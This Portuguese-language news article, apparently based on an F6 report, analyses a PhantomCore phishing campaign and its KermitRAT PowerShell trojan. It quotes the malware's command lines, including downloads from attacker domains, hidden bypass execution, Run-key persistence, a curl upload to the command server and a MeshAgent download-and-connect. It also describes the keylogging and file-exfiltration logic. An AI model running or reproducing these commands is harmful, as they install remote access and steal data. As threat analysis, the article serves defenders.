Ataque Surpresa: Novas Ferramentas e Táticas do PhantomCore Miram Empresas Brasileiras

Ataque Surpresa: Novas Ferramentas e Táticas do PhantomCore Miram Empresas Brasileiras

O grupo cibercriminoso PhantomCore, conhecido por sua adaptabilidade e uso de malware personalizado, está evoluindo suas táticas. Este artigo detalha uma nova campanha de phishing direcionada a empresas brasileiras, revelando o uso do novo trojan KermitRAT e outras técnicas avançadas.

MundiX News·17 de abril de 2026·15 min de leitura·👁 11 views

O grupo cibercriminoso PhantomCore representa uma ameaça significativa para empresas na Rússia e Bielorrússia. Detectado pela primeira vez pela F6 em 2024, investigações revelaram que suas primeiras atividades remontam a 2022. Uma característica marcante da evolução do PhantomCore é sua constante mutabilidade: este grupo APT (Advanced Persistent Threat) se adapta rapidamente a novas condições, altera prontamente suas ferramentas e desenvolve métodos não convencionais para entregar malware às organizações visadas.

Em 2022, o principal objetivo dos invasores era roubar, danificar e destruir dados. Em 2024, eles mudaram seu foco para criptografar a infraestrutura das empresas atacadas e obter ganhos financeiros. Essa mudança de tática demonstra uma sofisticação crescente e um foco em ataques de ransomware.

Uma característica distintiva do PhantomCore é o uso de malware desenvolvido internamente. A julgar pelo número de programas personalizados e pelo número de ataques a empresas russas e bielorrussas, a equipe de desenvolvimento deste grupo cibercriminoso está constantemente buscando novas soluções, aprimorando suas ferramentas e monitorando de perto novas vulnerabilidades, incluindo vulnerabilidades zero-day. Eles estão sempre à procura de novos exploits para usar em seus ataques.

Uma dessas criações próprias do PhantomCore é o trojan de acesso remoto KermitRAT, nomeado devido ao uso de substrings semelhantes nos nomes de arquivos usados pelo programa. Este novo malware do PhantomCore foi detectado pela primeira vez por especialistas da F6 no início de abril de 2026. As capacidades funcionais do KermitRAT incluem:

  • Utilização de vários métodos para executar comandos no sistema infectado (oculto; execução de PowerShell/cmd; com gravação do resultado em um arquivo e posterior upload);
  • Criação e exfiltração de screenshots;
  • Roubo de arquivos com base em um padrão recebido do servidor;
  • Detecção e interceptação de pressionamentos de tecla da vítima com posterior gravação e exfiltração para o servidor (keylogging);
  • Coleta de informações detalhadas sobre o sistema infectado, incluindo infraestrutura de rede, informações sobre unidades lógicas, número de usuários, informações sobre processos e serviços, presença de software antivírus instalado, software instalado e assim por diante.

Este artigo, usando um novo ataque do PhantomCore a uma empresa russa como exemplo, mostrará como o grupo continua a desenvolver suas ferramentas e táticas, a implementar novo software e a expandir o leque de tecnologias que utiliza, incluindo soluções de IA, para aumentar a eficácia dos ataques.

O Fantasma Ataca

Em 8 de abril de 2026, nos deparamos com outro ataque do grupo: o sistema F6 Managed XDR interceptou e bloqueou um e-mail de phishing direcionado a uma empresa industrial russa.

Os e-mails de phishing com o assunto "Sobre a visita de trabalho da delegação da RPDC em abril de 2026" foram enviados da caixa de correio eletrônico "el.medvedkova@ministerstvo-inostrannykh-del[.]ru" (domínio registrado em 30 de março de 2026) para vários endereços da empresa alvo.

Os e-mails continham os seguintes anexos:

  • 01-20363.pdf – isca em PDF;
  • KNDR (1).zip – arquivo ZIP contendo arquivos maliciosos. (A análise do malware foi publicada na F6 Malware Detonation Platform)

O arquivo KNDR (1).zip contém os seguintes arquivos:

  • KNDR.hta – arquivo HTA malicioso com atributos de arquivo oculto;
  • KNDR.lnk – um atalho cuja principal finalidade é executar o arquivo KNDR.hta.

Investigação Técnica

Funcionalidades do Arquivo HTA

O arquivo KNDR.hta contém uma tag script em sua marcação, dentro da qual está localizado um script VBS que é executado após a execução do arquivo.

Como resultado da execução deste script, scripts PowerShell adicionais serão baixados para o dispositivo da vítima, que serão fixados usando uma chave de registro, após o qual sua execução será iniciada.

A sequência de execução do script VBS:

  1. Minimiza a janela exibida para ocultar a execução.

  2. Executa o download e a execução de um documento PDF de distração usando o comando PowerShell: powershell -w h -c "(New-Object Net.WebClient).DownloadFile('hxxps://realty-visual[.]ru/jk_strana_ozernaya/KNDR_2026.pdf','KNDR.pdf');start 'KNDR.pdf'"

    O documento PDF é baixado de um servidor remoto no link hxxps://realty-visual[.]ru/jk_strana_ozernaya/KNDR_2026.pdf e salvo em um arquivo chamado KNDR.pdf no diretório atual.

  3. Cria um script PowerShell no caminho de arquivo C:\temp\2copipast_spisok.ps1 e grava o seguinte comando nele: $Target='C:\temp\4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1';$Url='https://realty-visual.ru/jk_strana_ozernaya/4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.txt';try{iwr $Url -OutFile $Target}catch{}

  4. Cria um script PowerShell no caminho de arquivo C:\temp\3task_spisok.ps1 e grava o seguinte comando nele: $Target='C:\temp\5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1';$Url='https://realty-visual.ru/jk_strana_ozernaya/5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.txt';try{iwr $Url -OutFile $Target}catch{}

  5. Cria um script Batch no caminho de arquivo C:\temp\1spisok_sotrudnikov.bat e grava os seguintes comandos nele: @echo off powershell -w h -nop -ep bypass -f "C:\temp\2copipast_spisok.ps1" powershell -w h -nop -ep bypass -f "C:\temp\3task_spisok.ps1"

  6. Cria um script Batch no caminho de arquivo C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat e grava os seguintes comandos nele: @echo off powershell -w h -nop -ep bypass -f "C:\temp\4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1" powershell -w h -nop -ep bypass -f "C:\temp\5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1"

  7. Para fins de persistência no sistema, cria uma entrada de registro no caminho HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateRoutine com o valor cmd /c "C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat".

  8. Executa o arquivo C:\temp\1spisok_sotrudnikov.bat.

  9. Verifica ciclicamente a presença dos arquivos 4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1 e 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1, e executa Sleep caso estejam ausentes.

  10. Executa o arquivo C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat.

  11. Remove o arquivo LNK inicial executando o comando: cmd /c timeout /t 3 /nobreak && del /f /q /a "{lnk_filepath}".

Funcionalidades do arquivo 5fulltext_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1

Este script PowerShell verifica a presença da chave de registro WindowsUpdateRoutine na ramificação HKCU:\Software\Microsoft\Windows\CurrentVersion\Run. Se a chave não existir, ele a adiciona com o valor cmd.exe /c "C:\temp\6polnii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.bat".

Funcionalidades do arquivo 4gotovii_spisok_sotrudnikov_dlya_posejenia_meropriyatia.ps1

Este script PowerShell é um malware classificado como um trojan de acesso remoto e recebeu o nome de KermitRAT.

Após o lançamento, ele inicializa os arquivos e diretórios necessários:

  • Verifica a presença do diretório C:\temp\, se não existir, ele o cria;
  • Verifica a presença do arquivo C:\temp\kermit_cache.json, se não existir, ele o cria com o valor {};
  • Verifica a presença do arquivo C:\temp\.kermit_id, se não existir, ele o cria e grava uma string de modelo nele {computername}-[0-9]{4} (a string gerada é posteriormente referida como {victim_id}).

Em seguida, ele executa as seguintes ações em um loop infinito:

  1. Coleta um arquivo JSON que contém informações sobre as unidades locais do sistema, um sinalizador para o módulo keylogger habilitado e um sinalizador que indica se um arquivo HTML com informações do sistema será enviado. Modelo: { "update_audit": false, "kl_enabled": true, "drives": "{drives_info}" }

    {drives_info} – contém uma string com informações sobre a unidade do tipo {drive_id}: {used_space}/{full_space}GB e um separador » | » entre as entradas sobre diferentes unidades.

  2. Envia este objeto JSON executando uma solicitação POST para o link URL hxxp://94.183.183[.]69:3000/ping/{victim_id}. Em resposta a esta solicitação, o malware espera um objeto JSON com um campo poll_interval, cujo valor determina o tempo ocioso entre os ciclos. Exemplo de objetos JSON que recebemos do servidor durante a análise: { "ok":true, "poll_interval":20 }

Processamento de Comando

Em seguida, uma solicitação GET é feita ao link URL hxxp://94.183.183[.]69:3000/tasks/{victim_id} para receber comandos do servidor. Em resposta do servidor, espera-se uma lista de comandos que devem ser recebidos na forma de objetos JSON de modelo:

{ "id": "{task_id}", "command": "{command}" }

Com base nos resultados do processamento de comandos, uma solicitação POST é feita ao link URL hxxp://94.183.183[.]69:3000/tasks/{task_id} com a transferência de um objeto JSON contendo o status de execução do comando e seu resultado de acordo com o seguinte modelo:

{ "status": "completed", "result": "{command_result}" }

Descrição dos Comandos

A determinação do comando é realizada pelo malware por meio da análise de uma expressão regular. As descrições dos comandos são apresentadas abaixo, onde as expressões regulares originais nas quais a determinação do comando é realizada serão indicadas em vez do nome do comando.

"^screen$"

  • Cria uma captura de tela e a salva no arquivo C:\temp\s.png, após o qual executa uma solicitação POST multicomponente para o link URL hxxp://94.183.183[.]69:3000/proxy/photo com a transferência de um formulário com o conteúdo da imagem e indicando o nome do arquivo de acordo com o modelo {computername}_s.png. Após a transferência, a imagem será removida do dispositivo infectado.

"^full_info$"

  • Coleta informações detalhadas sobre o sistema em um arquivo HTML no caminho do arquivo C:\temp\Audit.html. Este arquivo contém as seguintes informações:

    • Nome do sistema operacional;
    • Data e hora da última inicialização do sistema operacional no formato {days}d {hours}h {minutes}m;
    • Endereços IP internos e externos;
    • Nome de usuário e um sinalizador indicando se o usuário atual é um administrador do sistema operacional;
    • Informações sobre unidades lógicas do sistema com informações sobre o nome e tipo da unidade, seu tamanho e memória usada, os nomes dos primeiros 20 arquivos/diretórios dentro da unidade com indicação do tamanho dos arquivos;
    • Informações sobre as primeiras 20 conexões de rede atuais, indicando endereços IP e portas, bem como os nomes dos processos aos quais a conexão pertence;
    • Informações sobre a presença de software antivírus com uma lista de seus nomes;
    • Status de habilitação do BitLocker para a unidade "C:";
    • Informações sobre os usuários do sistema operacional com informações sobre nome, status de atividade, descrição e última autorização;
    • Informações sobre usuários do grupo de administradores do sistema operacional indicando seus nomes;
    • Informações sobre os primeiros 15 processos classificando-os por consumo de CPU, listando o nome do processo, identificador, CPU consumida e espaço de RAM ocupado;
    • Informações sobre os primeiros 30 serviços em execução, indicando o nome e o tipo de inicialização;
    • Informações sobre o software instalado, indicando o nome de exibição, versão e editor do software. A lista será obtida listando as chaves das ramificações do registro:
      • HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall;
      • HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall;
      • HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall;

    Além disso, no contexto da execução deste comando, uma lista de comandos instalados na inicialização automática do sistema e as últimas 15 entradas no log de eventos do sistema com erros serão obtidas, mas esses dados não são processados posteriormente e não serão enviados ao servidor.

    Depois que os dados são coletados, o malware os envia para o servidor executando uma solicitação POST multicomponente para o link URL hxxp://94.183.183[.]69:3000/proxy/photo indicando um formulário no qual o nome do arquivo será indicado de acordo com o modelo Audit_{computername}.html. Depois que o arquivo é enviado, ele o remove do sistema e também executa uma solicitação POST para o link URL hxxp://94.183.183[.]69:3000/ping/{victim_id} indicando um objeto JSON no corpo do arquivo:

    { "update_audit": True }

"^run_backup$"

  • Este comando é usado para exfiltrar arquivos com base em parâmetros especificados.

    Executa uma solicitação GET para o link URL hxxp://94.183.183[.]69:3000/config/{victim_id}. O servidor espera uma configuração para executar a exfiltração de arquivos no formato JSON:

    { "active": "", "paths": "", "extensions": "", "max_size_mb": "", "ftp": { "host": "", "user": "", "pass": "" } }

    Em seguida, o malware verifica o valor do sinalizador active e, se estiver definido como True, continua a operação.

    O malware verifica a presença do arquivo C:\temp\kermit_cache.json e, se o arquivo existir, lê os dados dele. Em seguida, ele percorre os diretórios da lista de caminhos recebida na configuração (parâmetro paths) e obtém os arquivos com as extensões especificadas no parâmetro extensions. Se a soma de hash MD5 deste arquivo for diferente daquela especificada no arquivo local C:\temp\kermit_cache.json e se o tamanho deste arquivo não exceder o especificado no parâmetro max_size_mb, ele o adiciona à lista para upload para o servidor.

    Depois que os arquivos são coletados, seu upload sequencial para o servidor é executado, o endereço e os dados de autenticação para os quais são especificados no objeto ftp. Os arquivos são enviados sequencialmente em partes com um tamanho total não superior ao valor do parâmetro max_size_mb. Cada arquivo enviado ao servidor será gravado no diretório C:\temp\Kermit_Vault com o nome {victim_id}_part{counter}.zip.

    Para enviar ao servidor, é usado um link de modelo ftp://{ftp_host}/{victim_id}_part{counter}.zip. Após o envio, o arquivo contendo informações locais sobre os arquivos (C:\temp\kermit_cache.json) é atualizado e enviado ao servidor por meio de uma solicitação POST por meio do utilitário curl para o link URL hxxp://94.183.183[.]69:3000/upload_cache/{victim_id}.

    Comando executado:

    curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath"

    Após executar as ações especificadas, o malware remove o diretório C:\temp\Kermit_Vault.

"^get_cache$"

  • Envia o arquivo C:\temp\kermit_cache.json da mesma forma que esta lógica é executada no comando run_backup.

"^clear_cache$"

  • Exclui o arquivo C:\temp\kermit_cache.json.

"^start_kl$"

  • Ativa o módulo keylogger.

"^stop_kl$"

  • Desativa o módulo keylogger.

"exec_cmd:(.*)"

  • Executa o comando cmd.exe /c {command} 2>&1 | Out-String, onde {command} é o comando cmd recebido do servidor.

"exec_ps:(.*)"

  • Executa o comando PowerShell Invoke-Expression {command} 2>&1 | Out-String, onde {command} é o comando PowerShell recebido do servidor.

"exec_hidden:(.*)"

  • Executa o comando cmd no modo oculto;

"exec_out:(.*)"

  • Executa o comando cmd com a gravação do resultado de sua execução em um arquivo localizado no caminho C:\temp\kermit_execution.txt. Formato de gravação no arquivo:

    --- Execution Log --- Time: {time} PC: {computername} Command: {command} ------------------------- {command_result}

    Em seguida, envia o arquivo para o servidor executando uma solicitação POST multicomponente para o link URL hxxp://94.183.183[.]69:3000/proxy/photo com o nome Result_{computername}.txt. Após o envio, remove o arquivo local.

Módulo Keylogger

Se o módulo keylogger estiver habilitado no malware, sua execução ocorrerá após a execução dos comandos em cada ciclo.

Neste módulo, antes de executar a leitura das teclas pressionadas, a presença do arquivo C:\temp\key_log.txt, a última data de upload deste arquivo para o servidor e o tamanho deste arquivo são verificados. Se o tamanho do arquivo for maior que 100 KB ou o tempo do último upload do arquivo exceder 60 minutos, o arquivo é carregado para o servidor por meio de uma solicitação para o link URL hxxp://94.183.183[.]69:3000/proxy/photo com o nome do arquivo Keys_{computername}.txt.

Para rastrear as teclas pressionadas, o módulo usa a função carregada GetAsyncKeyState, que determina o estado da chave. A verificação é realizada em um ciclo que é executado {poll_interval} * 25 vezes.

No contexto do que é inicialmente rastreado pressionando as teclas Ctrl + C (executando uma operação de cópia). Em caso de rastreamento bem-sucedido, as informações são coletadas da área de transferência e gravadas em um arquivo no formato [HH:mm] CLIP: {clipboard}. Em seguida, as teclas com valores de 8 a 190 são rastreadas (https://learn.microsoft.com/ru-ru/windows/win32/inputdev/virtual-key-codes), que são gravadas em uma variável - e essa, por sua vez, será gravada em um arquivo somente após pressionar a tecla Enter. Em caso de rastreamento bem-sucedido, a tecla é determinada e seu valor é verificado:

  • No caso da tecla Space, o caractere " " será adicionado à string geral.
  • No caso da tecla Back, o último caractere adicionado será removido da string geral.
  • Se o caractere estiver no intervalo entre as teclas com os números 48-57 (0 - 9), este caractere será adicionado com a remoção do caractere "D".
  • No caso da tecla Enter, a string geral de caracteres coletada anteriormente será adicionada ao arquivo de log com o modelo [HH:mm] {sentence}.
  • Se o caractere escrito não atender às condições acima, ele será adicionado à string geral com a conversão para minúsculas.

Notas

Vale a pena notar que, no decorrer do cenário, os erros que ocorreram durante a execução também são rastreados e gravados no arquivo C:\temp\script_debug.log, no entanto, este arquivo não é carregado para o servidor e é armazenado apenas localmente.

Além disso, comentários foram encontrados no arquivo que tinham codificações incorretas. Esses comentários no código foram escritos em ucraniano (Код файлу).

Comandos Recebidos

Durante nossa pesquisa, os seguintes comandos foram recebidos:

  • screen
  • get_cache
  • exec_out:dir "C:\temp\"
  • exec_out:dir "C:\system\"
  • exec_out:powershell -Command "New-Item -Path 'C:\temp' -ItemType Directory -Force; curl.exe -k 'hxxps://46.37.123[.]16/meshagents?id=4&meshid=uJia5ckVj3pSb0ry58vVE2uT6astBjasHAFCsDfTKIVaWFtfgtIGT@vmEE267V5G&installflags=0' -o C:\temp\meshagent64-Voenmeh.exe"
  • exec_out:"C:\temp\meshagent64-Voenmeh.exe" connect

MeshAgent

O arquivo especificado nesses comandos com o nome meshagent64-Voenmeh.exe é classificado como MeshAgent com a seguinte configuração:

MeshName=Voenmeh MeshType=2 MeshID=0xB8989AE5C9158F7A526F4AF2E7CBD5136B93E9AB2D0636AC1C0142B037D328855A585B5F82D2064FEBE6104DBAED5E46 ServerID=73F5F6673884255E8F57DA13FEE0365E02B8B8E2D29A36F21C896AA32B6271AD77D94F1691F564F22B76010CEC1DAA5E MeshServer=wss://46.37.123[.]16:443/agent.ashx

MeshAgent é um agente de monitoramento e gerenciamento remoto (RMM) do projeto MeshCentral. Depois de instalado em um computador, ele estabelece uma conexão com o servidor MeshCentral e fornece acesso total ao dispositivo: área de trabalho remota, gerenciamento de arquivos, execução de comandos, monitoramento de status e instalação de software.

Durante a pesquisa, foram encontradas opções para baixar este arquivo nos diretórios system e temp, também em um dos comandos um diretório Doc foi criado, no entanto, apesar disso, o download foi executado no diretório temp.

Detalhes da investigação da infraestrutura de rede dos atacantes e atribuição, indicadores de comprometimento - em um novo blog no site da F6.

🛡️⚡

Pare de pesquisar. Comece a hackear.

O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.

Testar grátis por 7 dias →

Sem cartão para começar · Planos a partir de R$49/mês

📤 Compartilhar & Baixar

📩 Newsletter MundiX

Receba novidades de cibersegurança + um checklist de pentest grátis. Sem spam.

Ao assinar você concorda em receber e-mails. Cancele quando quiser.